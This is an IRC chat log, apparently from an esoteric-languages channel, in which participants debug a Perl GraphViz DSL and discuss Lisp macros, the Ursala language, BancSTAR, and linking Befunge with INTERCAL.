14:51:59 <scarf> the solutions are no strict for the section, or putting the code that creates the variable in a BEGIN block
14:52:09 <alise> The caller of node, or the sub node?
14:52:18 <scarf> the caller of node
14:52:21 <alise> Darn.
14:52:29 <alise> I'd have to put my whole graph in BEGIN. Wait, why does that matter? :-D
14:52:33 <alise> Will it have strict, though?
14:52:35 <alise> in the BEGIN
14:52:45 <scarf> the timing of use strict is begin-timing itself
14:52:50 <alise> Global symbol "$usys" requires explicit package name at diag.pl line 25.
14:52:50 <alise> Global symbol "$hw" requires explicit package name at diag.pl line 25.
14:52:50 <scarf> so it shouldn't
14:52:51 <alise> Global symbol "$hw" requires explicit package name at diag.pl line 26.
14:52:51 <alise> Global symbol "$cpu" requires explicit package name at diag.pl line 26.
14:52:51 <alise> even in BEGIN
14:52:59 <scarf> hmm, is the use strict above the begin or below?
14:53:03 <alise> above
14:53:07 <alise> ah
14:53:14 <alise> Name "main::usys" used only once: possible typo at diag.pl line 26.
14:53:14 <alise> Name "main::cpu" used only once: possible typo at diag.pl line 27.
14:53:15 <alise> ↑ with no strict
14:53:15 <alise> xD
14:53:21 <scarf> now it's just warnings
14:53:25 <alise> Can't use string ("main::usys") as a symbol ref while "strict refs" in use at diag.pl line 14.
14:53:26 <alise> what
14:53:35 <alise> line 14
14:53:36 <alise> *{"${caller}::$name"} = \$id;
14:53:39 <scarf> alise: you want no strict 'refs'; for that procedure
14:53:52 <alise> hmm... what's the part of strict that breaks the node stuff?
14:53:53 <scarf> because injecting symbols into another scope is a "do you really want to do that?" moment
14:53:55 <alise> the explicit package name bits
14:54:02 <alise> I don't want to disable all of strict if I don't have to
14:54:16 <scarf> I think it's use strict "refs" in each case
14:54:22 <scarf> or maybe use strict "vars"
14:54:23 <alise> nope
14:54:27 <alise> yep, vars
14:54:30 <alise> now all I have is 45987345984359 errors
14:54:33 <alise> Use of uninitialized value in string eq at /opt/local/lib/perl5/site_perl/5.8.9/GraphViz.pm line 615.
14:54:37 <alise> oh, of course
14:54:42 <alise> foreach (@_) {
14:54:43 <alise> my $name = shift;
14:54:43 <alise> my $id = $g->add_node(label => $name);
14:54:43 <alise> my $caller = caller;
14:54:43 <alise> *{"${caller}::$name"} = \$id;
14:54:44 <alise> }
14:54:50 <alise> doesn't $id mutate each time? I bet it's the foreach causing scope problems or something
14:55:15 <scarf> that looks OK to me... is add_node returning a nonnull string?
14:55:24 <alise> Well. It /should/ be. Let me check.
14:55:47 <alise> foreach (@_) {
14:55:47 <alise> my $name = shift;
14:55:48 <alise> Duh.
14:55:55 <scarf> haha
14:55:57 <scarf> well noticed
14:56:14 <alise> Name "main::usys" used only once: possible typo at diag.pl line 27.
14:56:14 <alise> Name "main::cpu" used only once: possible typo at diag.pl line 28.
14:56:18 <alise> any way to turn those off?
14:56:33 <scarf> it'll be no warnings "something"
14:56:37 <scarf> but I'm not sure what the something is
14:56:47 <alise> maybe I should just turn of all strict and warnings for the whole thing
14:56:52 <alise> more trouble than it's worth for a DSL
14:57:12 <scarf> no warnings "once";
14:57:13 <alise> you're meant to put a ; after a {...} on its own right?
14:57:22 <scarf> alise: depends on context
14:57:31 <alise> {
14:57:31 <alise> no strict 'vars';
14:57:32 <alise> no warnings 'once';
14:57:32 <alise> node qw/usys hw cpu/;
14:57:32 <alise> edge $usys => $hw;
14:57:32 <alise> edge $hw => $cpu;
14:57:33 <alise> }
14:57:33 <scarf> {...} as a hash constructor needs a semicolon
14:57:36 <scarf> {} as a plain statement doesn't
14:57:39 <scarf> and this is the latter
14:57:41 <alise> right but i'm talking style here :P
14:57:58 <scarf> no, you don't need one
14:58:03 <scarf> you use one after do{ };
14:58:06 <scarf> but not with plain {}
14:58:09 <alise> okay
14:58:13 <scarf> that's maybe what's confusing you
14:58:24 <scarf> (do{} in Perl is equivalent to ({ }) in gcc)
15:00:40 <alise> how do you reference a variable with an invalid name?
15:00:43 <alise> $"x86-64"?
15:00:52 <alise> ${"x86-64"}?
15:01:20 <scarf> I don't think invalidly-named variables can exist
15:01:27 <scarf> as in, there isn't a place in the symbol table for them
15:01:41 <alise> well
15:01:41 <alise> *{"${caller}::$_"} = \$id;
15:01:42 <alise> didn't barf
15:01:44 <alise> about it :D
15:02:10 <scarf> you could try ${"x86-64"}, although that'll annoy strict 'refs'
15:02:28 <alise> it works :-D
15:02:44 <alise> Unknown 'strict' tag(s) 'vars refs' at diag.pl line 24
15:02:45 <alise> qw I presume
15:02:50 <scarf> yep
15:02:57 <alise> node 'usys';
15:02:58 <alise> node qw/hw cpu x86-64/;
15:02:58 <alise> edge $usys => $hw;
15:02:58 <alise> edge $hw => $cpu;
15:02:58 <alise> edge $cpu => ${'x86-64'};
15:03:00 <alise> Not bad.
15:03:03 <alise> I'd prefer to write it like:
15:03:21 <alise> usys => hw
15:03:21 <alise> hw => cpu => x86-64
15:03:31 <alise> Hmm, my "node" doesn't let me create duplicate names.
15:03:37 <alise> Well, it does, but it gives me no way to reference them.
15:03:37 <scarf> you could get rid of the dollars, at least, by extracting variables out of the caller's scope the same way that you put them in in the first place
15:03:39 <alise> $noscalar was it?
15:03:44 <alise> scarf: wat
15:03:49 <scarf> just by using the names
15:04:01 <scarf> but that's probably going to slow the program down a lot for no reason
15:04:50 <alise> $wantarray
15:04:52 <alise> or is it wantarray?
15:05:12 <alise> wantarray it seems
15:05:14 <scarf> no dollar
15:05:18 <scarf> it's a built-in function
15:05:27 <scarf> (kind-of hard to see how you could do it as a /non/-builtin)
15:05:28 <alise> *{"${caller}::$_"} = \$id if (undef wantarray);
15:05:33 <alise> Most meaningless bit of code ever written
15:05:38 <alise> *if undef wantarray
15:05:42 <scarf> um, !defined wantarray
15:05:51 <scarf> undef sets something to be undefined, rather than testing if it is defined
15:05:58 <alise> oops
15:06:01 <alise> and you mean "unless defined"
15:06:11 <scarf> unless defined wantarray;
15:06:20 <scarf> Perl has an unless control-flow operator
15:06:58 <alise> yes, I know
15:07:02 <alise> that's why I said it
15:09:10 <alise> actually the main thing I want is edge foo => (bar,baz,quux);
15:09:29 <alise> edge $insns => ('nop', 'jump');
15:09:32 <alise> I could do that with varargs I guess
15:10:20 <scarf> the parens there would screw it up
15:10:33 <scarf> is edge $insns => ['nop', 'jump'] good enough?
15:10:41 <alise> it would turn into
15:10:42 <scarf> or just edge $insns => 'nop', 'jump'
15:10:47 <alise> edge $insns, 'nop', 'jump' wouldn't it?
15:10:53 <alise> and the latter would be fine yes of course
15:11:11 <scarf> nope, because I don't think you can interpolate a list literal into another list literal
15:11:43 <alise> print $g->{"as_$ARGV[0]"};
15:11:43 <alise> alas, doesn't work
15:11:46 <alise> :P
15:12:45 <alise> (it's a method)
15:15:55 <alise> hmm
15:16:22 <alise> eval "print \$g->as_$fmt";
15:16:23 <alise> problem solved
15:16:33 <alise> (I blame society)
15:17:34 <alise> http://imgur.com/vMnkW.png
15:17:35 <alise> woot
15:17:54 * Sgeo_ shoots Perl
15:18:09 <Sgeo_> Is it hypocritical for me to shoot Perl while being interested in Ruby?
15:18:46 <Sgeo_> [that's probably an.. interesting and wrong usage of the word hypocritical]
15:19:13 <alise> Perl is a better Ruby than Ruby.
15:19:30 <alise> Ruby is just the bad parts of Lisp, a tiny bit of Smalltalk messed up, and Perl combined. Badly.
15:20:53 <Sgeo_> I don't see any parentheses abuse in Ruby
15:20:58 <Sgeo_> Are there other bad parts of Lisp?
15:21:14 <scarf> paren abuse isn't really a bad part of lisp
15:22:33 <alise> Sgeo_: ugh
15:22:41 <alise> you just made me want to punch you :| don't do that
15:25:12 -!- ais523 has quit (Quit: Page closed).
15:25:15 <alise> Sgeo_: fodijg firstly it's not abuse it's the syntax and it's not like that for no reason, secondly it's not actually a problem
15:25:24 <alise> thirdly the bad parts of lisp are nothing to do with that whatsoever
15:31:04 <Sgeo_> I'll agree with with the first part, question the second part, and note that the third part seems to be a conclusion
15:33:21 <Sgeo_> What are the bad parts of Lisp?
15:34:29 <AnMaster> hi
15:34:45 <MissPiggy> Sgeo_, the attitude non-lisp people have towards the language is the worst thing
15:34:59 <MissPiggy> I would think that I don't really care about such petty things, but actually it is very frustrating
15:35:08 <AnMaster> <ais523> now it's booted and seems to be working normally <-- did you figure out the cause scarf ?
15:35:15 <scarf> no
15:35:26 <scarf> although I'm currently blaming either kqemu or hardware problems
15:35:46 <AnMaster> I would recommend that you run memtest during the next night.
15:36:20 <scarf> AnMaster: I've already done long memtest runs on here
15:36:26 <scarf> I don't think it's the memory that's at fault
15:36:27 <alise> lol, Sgeo_ thinks the parens in lisp are there for no reason
15:36:29 <AnMaster> scarf, and kqemu? I thought qemu was able to use kvm or something nowdays
15:36:34 <alise> i take it back you are stupid :/
15:36:36 <Sgeo_> alise, no, I know the reason.
15:36:41 <scarf> AnMaster: it is, but kvm isn't installed here
15:36:44 <AnMaster> ah
15:36:47 <Sgeo_> So that order of precedence doesn't need to exist
15:36:49 <Sgeo_> (I think)
15:36:50 <alise> "question the second part" "and it's not like that for no reason"
15:36:53 <alise> Sgeo_: HAHAHA
15:36:54 <alise> no
15:37:14 <alise> ignorance isn't the problem here it's that you made wild generalisations without knowing things about lisp
15:37:18 <AnMaster> scarf, but does the hardware support it in theory?
15:37:28 <scarf> no idea
15:37:32 <Sgeo_> " secondly it's not actually a problem"
15:37:40 <AnMaster> scarf, some flag in /proc/cpu
15:37:44 <Sgeo_> You didn't say "secondly there is a reason"
15:37:53 <AnMaster> you could paste the flags line, since I don't remember which flag exactly
15:38:00 <AnMaster> vmi or something iirc
15:38:07 <alise> all very nice for you to question it but you obviously don't know the first thing about programming in lisp soo...
15:38:43 <alise> the bad parts of lisp... untyped syntax, needing macros to do lots of things...
15:38:52 <scarf> alise: I know the first thing about programming in lisp, but I'm stuck on the third or fourth
15:38:54 <alise> that's inherent to lisp, as far as common lisp goes... all bad
15:38:59 <alise> scheme is mostly good.
15:39:03 <alise> (r5rs)
15:39:13 <AnMaster> alise, scheme has those clean macros though
15:39:30 <alise> and?
15:39:31 <AnMaster> argh, mental lag
15:39:36 <alise> nothing wrong with hygienic macros
15:39:43 <AnMaster> indeed that was my point
15:39:53 <alise> yeah but having to use them is still bad
15:40:00 <alise> you need to do tons of macros in lisps when normal lazy functions would suffice
15:40:12 <AnMaster> alise, I was responding to "<alise> the bad parts of lisp... untyped syntax, needing macros to do lots of things..." you see. I didn't notice you mentioned scheme between me starting typing and when I hit enter
15:40:25 <AnMaster> I'm somewhat tired.
15:40:28 <alise> well you still have to use them a lot which is the actual problem
15:40:32 * Sgeo_ wonders if he'll have nostalgia for There
15:40:52 <AnMaster> alise, but lisp macros are awesome.
15:41:13 <scarf> the awesomeness is the language's own downfall
15:41:19 <AnMaster> hm maybe
15:41:21 <alise> http://www.there.com/ OH LOOK let another shitty 3d virtual reality
15:41:32 <alise> I am utterly shocked, Sgeo_
15:41:33 <scarf> needing to use awesome in order to get work done may be awesome, but it means there's something wrong in the rest of the language
15:41:48 <alise> scarf: hey i disagree
15:41:52 -!- cpressey has joined.
15:41:53 <alise> dependent types - printf
15:41:56 <alise> so thar :P
15:42:05 <scarf> printf doesn't /need/ dependent types, they just make it better
15:42:08 <alise> but the fact that lisp requires you to use macros all the time is a problem due to the nature of macros
15:42:12 <AnMaster> scarf, yeah, backtracking with macros + call/cc... (seen that, think it was from that "fixnum days" tutorial?)
15:42:13 <alise> scarf: well, yes.
15:42:18 <scarf> so that's good awesome
15:42:20 <Sgeo_> alise, every time I've been there [twice], it's left a bad taste in my mouth.
15:42:45 <alise> The 3D has too many polygons for your liking?
15:42:46 <alise> :P
15:42:48 <Sgeo_> lol
15:43:07 <Sgeo_> Not enough room for creativity. Although it's not as bad as IMVU
15:43:11 <Sgeo_> I hate IMVU with a passion
15:43:48 <Sgeo_> Until someone shows me how to get to a populated chatroom in IMVU [and I mean more than 10 people], I'll continue to hate it
15:44:07 <AnMaster> alise, I'm not sure lisp actually requires you to use macros
15:44:21 <alise> ooh time for some AnMaster pedancy
15:44:56 <AnMaster> alise, I was about to add that it would be rather painful to code in lisp without the macros though
15:45:09 <alise> you have macros no matter what - "special forms"
15:45:16 <alise> well
15:45:20 <alise> yes, yes you do
15:45:23 <alise> hmm wait
15:45:27 <alise> there is one way you could do it
15:45:39 <alise> (quote-symbol (list 97 98)) == 'ab
15:45:44 <alise> and then use (list x)
15:46:05 <alise> (if (= (+ 2 2) 4) (list (quote-symbol (list ... numbers spelling 'display' ...
15:46:07 <AnMaster> alise, hm but is ' a macro?
15:46:11 <alise> 'x -> (quote x)
15:46:13 <alise> special form
15:46:18 <alise> just like a macro except implemented in the compiler
15:46:22 <alise> you can implement quote yourself but it's a bitch
15:46:32 <alise> (Oleg did it iirc)
15:46:33 <AnMaster> alise, well, yeah, I guess you could regard special forms as a special sort of macros
15:46:37 <AnMaster> didn't think of that
15:46:44 <alise> http://okmij.org/ftp/Scheme/quote-as-macro.txt
15:46:46 <alise> quote as a macro
15:46:55 <alise> relies on string->symbol though which is /so/ cheating
15:48:56 <cpressey> Regardless, you need *some* special forms. They can't all be defined as macros. I'm not sure what the discussion is about, but I think there's a distinction between the two.
15:48:59 <AnMaster> alise, yes that is as my-quote. I have no idea if there is some way to make it work for the actual '
15:49:23 <alise> 'x is just syntax for (quote x).
15:49:32 <alise> so just name the macro "quote".
15:49:43 <alise> cpressey: Actually, I think you don't.
15:49:47 <cpressey> Well, actually, maybe you don't.
15:49:59 <alise> (lambda (list (quote-symbol 97)) (quote-symbol 97))
15:49:59 <AnMaster> (I mean, it doesn't really follow normal rules, like (foo bar '(1 2)) is valid, but putting my-quote at that point would require ( in front of my-quote, not after, wouldn't it?)
15:50:00 <alise> ->
15:50:04 <alise> (lambda (a) a)
15:50:04 <AnMaster> alise, cya!
15:50:09 <alise> So all you need is lambda, one single primitive function.
15:50:11 <alise> AnMaster: no
15:50:17 <alise> 'x EXPANDS TO (quote x)
15:50:18 <alise> at PARSE TIME
15:50:22 <AnMaster> alise, ah, wasn't that type of arrow
15:50:31 <alise> cpressey: It basically relies on the fact that numbers quote themselves.
15:50:36 <Sgeo_> By "question it" I meant I wanted an explanation >.>
15:50:44 <alise> You could have no numbers and an evaluation rule () -> () if you want loads of fun.
15:50:53 <alise> Sgeo_: it just isn't an issue in practice when writing lisp code
15:50:55 <AnMaster> alise, indeed, and that is what I thought you couldn't hack in using macros.
15:50:59 <Sgeo_> Ah
15:51:07 <alise> AnMaster: well that's syntax not macros or special forms :P
15:51:16 <alise> cpressey: And since the lambda calculus is good enough for anything...
15:51:35 <AnMaster> alise, of course. A pitty you can't do that to the syntax then. We need more powerful macros here. ;)
15:51:39 <alise> cpressey: Oh, if you want to build all of a regular Lisp on top of it you need one special form to define macros.
15:51:42 <alise> AnMaster: Reader macros
15:51:53 <alise> cpressey: You could have it as a function but that makes no sense; macros are compile-time.
15:52:13 <AnMaster> alise, hm, does that actually exist? Or is it a proposed solution?
15:52:23 <alise> AnMaster: Exists.
15:52:37 <AnMaster> heh, in scheme?
15:52:38 <alise> Common Lisp and some Schemes have them.
15:52:41 <AnMaster> ah
15:52:49 <alise> http://www.lispworks.com/documentation/HyperSpec/Body/f_set_ma.htm
15:52:50 <alise> example
15:52:56 * AnMaster looks
15:53:40 <alise> Hey, those are functions.
15:53:45 <AnMaster> wonderful
15:53:48 <alise> cpressey: So if you have reader macros, you can just define your own mega-quoting stuff.
15:53:58 <alise> You won't even need any syntax except for (, ) and atoms.
15:54:12 <alise> (numbers can be done like (() () ()) = 3)
15:54:16 <MissPiggy> uyck
15:54:36 <MissPiggy> use binary for goodness sake: ((()) (()))
15:54:47 <alise> Plus cons, () evaluates to (), quote-symbol : some-representation-of-an-atom-using-()s -> symbol, and lambda (a function).
15:55:07 <alise> Put a reader macro definition function on top of that (pass in the relevant stream-accessing functions yielding the ()-y representation), and tada.
15:55:15 <scarf> alise: please stop, you're going to accidentally invent Ursala
15:55:18 <alise> You can define numbers, comments, and quote.
15:55:24 <alise> Tada! Lisp.
15:55:27 <alise> scarf: :D
15:55:32 <MissPiggy> alise no lisp is defined this way :|
15:55:34 <AnMaster> alise, It would be an awsome to use reader macros to implement a language with as much syntax as perl on top of lisp
15:55:37 <alise> MissPiggy: BUT
15:55:37 <alise> IT
15:55:38 <alise> CAN
15:55:38 <alise> BE
15:55:42 <MissPiggy> yes I agree
15:55:46 <MissPiggy> and it is much simpler too
15:55:48 <alise> and it would be hilarious
15:55:55 <MissPiggy> I'm just saying in reality lisp is a lot less pure
15:56:07 <AnMaster> <scarf> alise: please stop, you're going to accidentally invent Ursala <-- Ursala?
15:56:12 <AnMaster> I'm not familiar with that
15:56:17 <alise> AnMaster: you're lucky
15:56:18 <scarf> you don't want to be
15:56:20 * MissPiggy wonders why anmaster has to quote so much
15:56:28 <AnMaster> scarf, an esolang?
15:56:28 <alise> MissPiggy: he only has one line of scrollback
15:56:32 <MissPiggy> < AnMaster> <scarf> alise: please stop, you're going to accidentally invent Ursala <-- Ursala? <--- why does have to quote so much?
15:56:33 <scarf> it's in the BancSTAR category; languages which aren't meant to be eso, but act like it
15:56:45 <alise> AnMaster: Eight Queens in Ursala:
15:56:46 <alise> queens =
15:56:46 <alise> %np+~command.options.&h.keyword.&iNC; -+
15:56:47 <alise> ~&iNC+ file$[contents: --<''>+ %nLP*=; * '<'%='[ '+ ','%=', '+ '>'%=' ]']+ ~&rSSs+ nleq-<&l*rFlhthPXPSPS,
15:56:47 <alise> ~&i&& ~&lNrNCXX; ~&rr->rl %tLnLtXLLWXMk+ ^/~&l ~&lrrhrSiF4E?/~&rrlPlCrtPX ~&r; ^|/~& ^|T\~& -+
15:56:47 <alise> -<&l^|*DlrTS/~& ~&iiDlSzyCK9hlPNNXXtCS,
15:56:48 <alise> ^jrX/~& ~&rZK20lrpblPOlrEkPK13lhPK2; ~&i&& nleq$-&lh+-,
15:56:48 <alise> ^/~&NNXS+iota -<&l+ ~&plll2llr2lrPrNCCCCNXS*=irSxPSp+ ^H/block iota; *iiK0 ^/~& sum+-
15:56:49 <AnMaster> MissPiggy, ?
15:56:52 <MissPiggy> lol
15:57:04 <AnMaster> alise, heh
15:57:08 <alise> AnMaster: So I think you should just forget about wanting to know anything about Ursala.
15:57:17 <AnMaster> scarf, ah, those are kind of sad yet awesome at the same time
15:57:20 <Sgeo_> What does "Plain English" or whatever it's called count as?
15:57:23 <Sgeo_> Same category?
15:57:28 <alise> AnMaster: Let's put it this way: You create a tuple by changing the operator precedence of the previous expressions (postfix)
15:57:41 <scarf> AnMaster: that would compile into code that looked like ((() () ()) (() () () (() ())) etc
15:57:45 <AnMaster> alise, wut?
15:57:55 <scarf> alise: at least, the two come to the same thing
15:58:02 <Sgeo_> We have fun with esolangs, why can't we have fun with supposed non-esolangs that are as strange as esolangs?
15:58:08 <scarf> we can
15:58:16 <scarf> alise and I have had endless fun laughing at Ursala
15:58:21 <AnMaster> scarf, what was this language made for?
15:58:26 <scarf> AnMaster: numerical computation
15:58:30 <alise> AnMaster: LSD
15:58:33 <scarf> not that you could tell by looking at it
15:58:37 <alise> they go perfectly together
15:58:59 <AnMaster> scarf, then: by who? when? for whom?
15:59:04 <Sgeo_> I'd say something about J, but J makes me want to run screaming too
15:59:10 <AnMaster> J isn't all that bad
15:59:11 <alise> J is wonderful
15:59:14 <alise> nothing like Ursala
15:59:18 <AnMaster> it is just.... very terse?
15:59:25 <alise> AnMaster: It's TWO LANGUAGES
15:59:27 <scarf> I'd say Ursala tries to imitate some J concepts but fails
15:59:31 <alise> one is the ldfkjsdfoweriujWERIOJEIORJ thing
15:59:34 <cpressey> <alise> cpressey: You could have it as a function but that makes no sense; macros are compile-time. <-- I submit this is the real debate to have.
15:59:36 <alise> all functions are postfix and right-associative
15:59:44 <AnMaster> alise, J? possibly, I don't know J. I have only seen J code
15:59:44 <alise> and you do parens by saying "parenthesize the last N expressions" as an operator
15:59:53 <alise> AnMaster: no, ursala
15:59:56 <Sgeo_> Very incomprehendible to someone who doesn't know J. Python is somewhat readable, Haskell is sometimes somewhat readable, J is impossible
16:00:00 <AnMaster> alise, ah. hm
16:00:07 <alise> seriously, it's just crazy
16:00:13 <alise> Sgeo_: Only because of what you know.
16:00:23 <MissPiggy> what J is very readible
16:00:24 <alise> I am /tired/ of this "intuitive" rubbish based on relative knowledge
16:00:37 <scarf> alise: you missed the bit where arguments get implied into expressions if they're missing from the syntax
16:00:42 <MissPiggy> haskell is mostly unreadible
16:00:43 <alise> AnMaster: also, types are done by simply guessing
16:00:52 <alise> if you run a program you have to specify the type to cast its result to
16:00:55 <scarf> e.g. ~&B is a synonym for ~&lrB
16:00:56 <Sgeo_> Erm, my statement was supposed to be relative to what someone who hasn't seen the language being compared knows
16:00:59 <MissPiggy> unless it's the accumulation of 10 PhDs on writing readible code
16:01:01 <AnMaster> scarf, where can one read more about it? Plus the questions above
16:01:04 <alise> scarf: what's that operator that has no formal definitions?
16:01:11 <scarf> alise: you could try web-surfing for it
16:01:11 <alise> AnMaster: http://www.basis.uklinux.net/ursala/manual.pdf, http://www.basis.uklinux.net/ursala/
16:01:13 <scarf> alise: I'll check
16:01:16 <alise> scarf: I am
16:01:23 <AnMaster> huh
16:01:54 <Sgeo_> There's an operator that has no formal definitons? *cries*
16:01:55 <AnMaster> *shudder*
16:02:05 <alise> well, it does, they just haven't figured it out yet
16:02:07 <MissPiggy> is ursala real?
16:02:12 <AnMaster> alise, what is the other language then?
16:02:13 <alise> because it's just a list of special cases
16:02:14 <MissPiggy> I could never decide if it was a joke or not
16:02:15 <alise> MissPiggy: Yep
16:02:17 <alise> AnMaster: the other part of ursala
16:02:20 <scarf> "The I constructor has four practical uses shown in Table 2.2, as well as any generalizations of those obtained by using lrX in place of b and/or any single valued deconstructor in place of r or l. Other generalizations can be used experimentally but their effect isunspecified and subject to change in future revisions."
16:02:27 <AnMaster> alise, which is all but "ldfkjsdfoweriujWERIOJEIORJ"?
16:02:28 <alise> "(~&w/`.)*~+ ~&s+ * skip/7; takewhile -=letters--digits--'.'"
16:02:31 <alise> "*= skip/*9+ =]'Address: '*~+ ~&hm+ ask(bash)/<>+ <.'nslookup '-->"
16:02:31 <AnMaster> err
16:02:32 <AnMaster> ah
16:02:36 <alise> those first and last quotes are mine
16:03:03 <scarf> single quotes delimit variable names in Ursala, i.e. Ursala "x" is equivalent to Perl $x
16:03:08 <AnMaster> alise, and I guess this split is done in a way that makes no sense?
16:03:17 <alise> AnMaster: you just intermingle them freely
16:03:18 <AnMaster> scarf, that was double quotes?
16:03:25 <alise> those double quotes were mine
16:03:29 <scarf> AnMaster: yes
16:03:31 <AnMaster> alise, then what makes them different?
16:03:35 <scarf> s/single quotes/double quotes/
16:03:37 <AnMaster> alise, I didn't mean your
16:03:39 <AnMaster> scarf, ah
16:04:41 <alise> I have to go for a while, guys; moving to another temporary residence lulz.
16:04:48 <alise> See you soon! ...Hopefully!
16:04:53 <Sgeo_> I'm just going to pretend that Ursula code looks sane to someone who knows Ursula, same way J is readable to J programmers.
16:04:55 -!- alise has quit (Quit: alise).
16:04:57 <scarf> ok, bye, and that sounds worrying
16:04:58 <cpressey> I ASK YOU, is it a mere coincidence that BancSTAR was developed for the banking industry *and* the author or Ursala has a degree in finance?
16:05:22 <cpressey> Hm yes, that did sound worrying.
16:05:26 <scarf> cpressey: possibly not, the finance/banking industry is a source of some of the biggest problems in programming
16:06:20 <AnMaster> both what cpressey mention and what alise said sounds worrying
16:09:19 <cpressey> scarf: Given the context, I'm not sure whether to interpret the "in" in your statement as "that can be addressed by" or "that are caused by"
16:09:47 <scarf> um, I don't think I meant what I said
16:09:57 <scarf> would "some of the most problematic programs" work better?
16:10:20 <cpressey> Yeah, that works.
16:11:33 -!- jcp has joined.
16:16:19 -!- dev_squid has joined.
16:23:53 * Sgeo_ goes to look for BancSTAR tutorials
16:24:13 <scarf> Sgeo_: I don't think there are any
16:24:23 <Sgeo_> Any documentation, then?
16:24:30 <scarf> no
16:24:37 <scarf> it was a proprietary trade-secret lang
16:24:56 -!- dev_squid has quit (Ping timeout: 246 seconds).
16:25:50 <Sgeo_> :(
16:26:09 <cpressey> There was an example source posted on The Turing Tarpit site. But that was on geocities. Not sure if it was put back up?
16:26:22 <MissPiggy> geocities :(
16:26:31 <cpressey> I have a backup
16:26:43 <cpressey> (of TTT, NOT of all of geocities)
16:27:17 <scarf> is it on reocities?
16:27:30 <scarf> or archive.org?
16:27:34 <scarf> both were trying to back up the whole thing
16:27:58 <cpressey> http://www.geocities.com/ResearchTriangle/Station/2266/tarpit/tarpit.html
16:28:01 <cpressey> was its orig url
16:28:17 <cpressey> Yup, reocities works
16:28:48 <cpressey> http://www.reocities.com/ResearchTriangle/Station/2266/tarpit/bancstar.html
16:30:18 <AnMaster> cpressey, btw do not assign the middot char to anything in befunge-111
16:30:49 <scarf> ... because the befunge-98 spec allows for use of characters above 128 for private-use
16:30:52 <AnMaster> cpressey, doing so would break the only known case of "values above 127 being used for implementation thing"
16:30:54 <AnMaster> scarf, yes
16:30:58 <scarf> and IFFI actually uses middot as a private-use character
16:31:00 <AnMaster> and the middot is used in IFFI
16:31:05 <scarf> is there some sort of registry to declare these things?
16:31:20 <AnMaster> cpressey, IFFI being a fingerprint for befunge/intercal integration
16:32:20 -!- dev_squid has joined.
16:32:31 <cpressey> AnMaster: OK. I had no plans to.
16:33:03 <scarf> AnMaster: IFFI's the fingerprint, CFFI's the handprint
16:33:08 <scarf> and the implementation itself is mostly cfunge
16:33:14 <scarf> hmm, I should direct that at cpressey, really
16:33:19 <AnMaster> indeed
16:33:25 <scarf> I'm not entirely sure he knew it was possible to link Befunge and INTERCAL programs
16:33:28 <AnMaster> scarf, handprints are going to be deprecated in 111
16:33:35 <AnMaster> scarf, well true
16:33:44 <scarf> AnMaster: you still need to put something in the y output
16:34:09 <AnMaster> scarf, "reserved for compat reasons" is the plan last I heard
16:34:24 <scarf> fair enough
16:34:33 <cpressey> Handprints are going to be implementation-defined... handprints are *already* implementation-defined...
16:35:09 <cpressey> No, I had no idea.
16:35:15 <cpressey> No, there is no registry.
16:35:24 <AnMaster> ah
16:36:03 <scarf> anyway, a single entry point at the top-left turns out to be inadequate for embedding Befunge as a scripting language within INTERCAL programs
16:36:12 <scarf> so the middots mark additional points to check to see if they're entry points or not
16:36:23 <cpressey> Hm, COME FROM-style?
16:36:37 <cpressey> That sounds horrible, at any rate.
16:37:15 <scarf> that's sort-of the point
16:37:19 <AnMaster> cpressey, scarf (maintainer of c-intercal (ick)) wrote a fingerprint for cfunge, that allows this integration, cfunge is built as a library and statically linked to the compiled INTERCAL program (only if it uses befunge linking of course)
16:37:35 <scarf> IFFI the fingerprint is an implementation of all the INTERCAL flow-control operations in Befunge
16:37:38 <AnMaster> the program is loaded from an unsigned char * array
16:38:02 <AnMaster> (meh, small technical incorrectness in that type, but doesn't really matter)
16:38:30 <scarf> if you use it with CFFI/ick_ecto_b98 the implementation, then it additionally links those flow-control operations in the Befunge with the flow-control operations in the INTERCAL
16:38:48 <scarf> so you can do the equivalent of COME FROM (5) in the Befunge and come from line (5) in the INTERCAL program, or vice versa
16:39:04 <AnMaster> scarf, wasn't it come from x,y ?
16:39:14 <scarf> nope, line numbers
16:39:20 <scarf> so it fits in with the INTERCAL program
16:39:23 <AnMaster> scarf, even for befunge code side?
16:39:26 <scarf> yep
16:39:30 <scarf> you can even do computed COME FROMs
16:39:36 <cpressey> scarf: Dare I ask, does this support self-modification? Like if I 'p' a middot into the playfield...
16:39:42 <AnMaster> scarf, I mean, comming from befunge
16:39:44 <AnMaster> to intercal
16:40:02 <scarf> cpressey: it supports self-modification for everything but middot locations, at the moment; the middots are more compiler directives, they vanish on program load
16:40:15 <AnMaster> didn't they turn into M or something?
16:40:18 <scarf> yep
16:40:33 <scarf> come to think of it, it wouldn't be that hard to change the directives at runtime; I'm just not sure if it's useful
16:40:37 <AnMaster> scarf, could you come from a position in befunge too? I don't remember
16:40:59 <scarf> AnMaster: M5C M5L is an infinite loop
16:41:07 <scarf> if I've remembered the syntax correctly
16:41:14 <scarf> I may have got that backwards
16:41:27 <AnMaster> scarf, well, come from is more like "if we get to that point, jump here"
16:41:37 <scarf> yep
16:41:40 <AnMaster> so, it should be able to target anywhere shouldn't it?
16:41:46 <scarf> it can target any line label
16:41:48 <AnMaster> like COME FROM befunge (2,4)
16:41:52 <AnMaster> in intercal
16:41:53 <scarf> come from can only hit lines which actually have a label on
16:41:59 <AnMaster> (well, with different syntax of course)
16:42:11 <scarf> so in the INTERCAL, you write COME FROM (5), then it'll come from an M5L in the Befunge
16:42:23 <AnMaster> ah right
16:42:42 <AnMaster> scarf, btw, is there anything in IFFI that can interact weirdly with k? I don't remember
16:43:01 <scarf> AnMaster: quite possibly
16:43:14 <scarf> but the fingerprint isn't /very/ feral, so probably not
16:43:16 <AnMaster> ooh kM?
16:43:21 <AnMaster> that sounds fun
16:43:37 <scarf> M does nothing when actually encountered, though; it just specifies a location to start executing at
16:43:40 <AnMaster> because, well, k calls execute_instruction in a loop
16:43:53 <AnMaster> scarf, hm
16:43:53 <scarf> M means "here might be an entry point"
16:44:10 <AnMaster> scarf, what about *exit* points then?
16:44:12 <scarf> and is written with a middot in the original source
16:44:20 <scarf> AnMaster: they're the usual @, etc
16:44:28 <AnMaster> scarf, no, that isn't what I asked
16:44:30 <scarf> otherwise, to exit you use fingerprint commands
16:44:34 <AnMaster> <AnMaster> scarf, could you come from a position in befunge too? I don't remember
16:44:34 <AnMaster> <scarf> AnMaster: M5C M5L is an infinite loop
16:44:37 <AnMaster> I meant
16:44:40 <AnMaster> come from befunge
16:44:42 <AnMaster> to intercal
16:44:46 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
16:44:46 <scarf> AnMaster: you put a line label in
